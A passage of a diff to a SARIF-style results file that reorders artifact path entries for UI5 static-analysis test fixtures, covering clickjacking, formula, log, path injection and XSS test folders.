+        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 75
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+        "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 76
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 77
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+        "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 78
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 79
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 80
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 81
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 82
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 83
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 84
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 85
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 86
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 87
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 88
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 89
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 90
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 91
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 92
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 93
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 94
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 95
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 96
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 97
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 98
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 99
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 100
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 101
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 102
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 103
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 104
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 105
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 106
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 107
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 108
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 109
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 110
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 111
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 112
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 113
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 114
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 115
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 116
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 117
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 118
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 119
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 120
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 121
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 122
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 123
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 124
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 125
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 126
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 127
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 128
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 129
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 130
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 131
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 132
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 133
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 134
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 135
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 136
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 137
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 138
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 139
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 140
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 141
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 142
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 143
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 144
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 145
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 146
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 147
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 148
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 149
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 150
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 151
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 152
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 153
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 154
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 155
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 156
       }
@@ -13022,1126 +12944,1108 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 158
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 159
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 160
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 161
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 162
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 163
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 164
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 165
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 166
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 167
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 168
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 169
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 170
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 171
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
